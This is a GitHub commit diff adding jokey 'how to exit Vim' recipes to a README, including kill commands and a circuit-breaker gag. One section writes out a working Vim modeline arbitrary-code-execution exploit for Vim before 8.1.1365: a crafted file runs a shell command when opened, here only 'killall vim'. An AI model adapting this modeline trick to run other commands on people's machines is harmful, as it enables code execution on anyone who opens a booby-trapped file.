Merge branch 'master' into master

This commit is contained in:
ccw630 2020-01-30 15:58:04 +08:00 committed by GitHub
commit 2378536c74
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -33,6 +33,13 @@ Credit: @kpumuk
:!grep -P "PPid:\t(\d+)" /proc/$$/status | cut -f2 | xargs kill -9
```
## The lazy pythonic using shell way
Credit: @PozziSan
```bash
python -c "from os import system; system('killall -9 vim')"
````
## The pythonic way
Credit: @hakluke
@ -646,3 +653,36 @@ Credit: @ccw630
```vim
:!$SHELL
```
## The Arbitrary Code Execution Way
Based on https://www.exploit-db.com/exploits/46973. Works with Vim < 8.1.1365.
1. Create a file (say `quit.txt`) with the following data:
```
echo ':!killall vim||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > quit.txt
```
2. Ensure that the modeline option has not been disabled.
```
echo "set modeline" >> .vimrc
```
3. Open `quit.txt`.
```
:e! quit.txt
```
## The Circuit Breaker Way
Credit:@Tomcat-42
1. Smoothly leave your computer
2. Find the nearest electrical circuit breaker panel
3. Switch off and on the main breaker
4. Return to your computer
5. Your computer should no longer be running vim
**Note:** This approach prove itself ineffective against notebooks, desktops on a UPS or remote servers.
## The Permanent Way
Credit: @jofftiquez
***Quit software engineering for good.***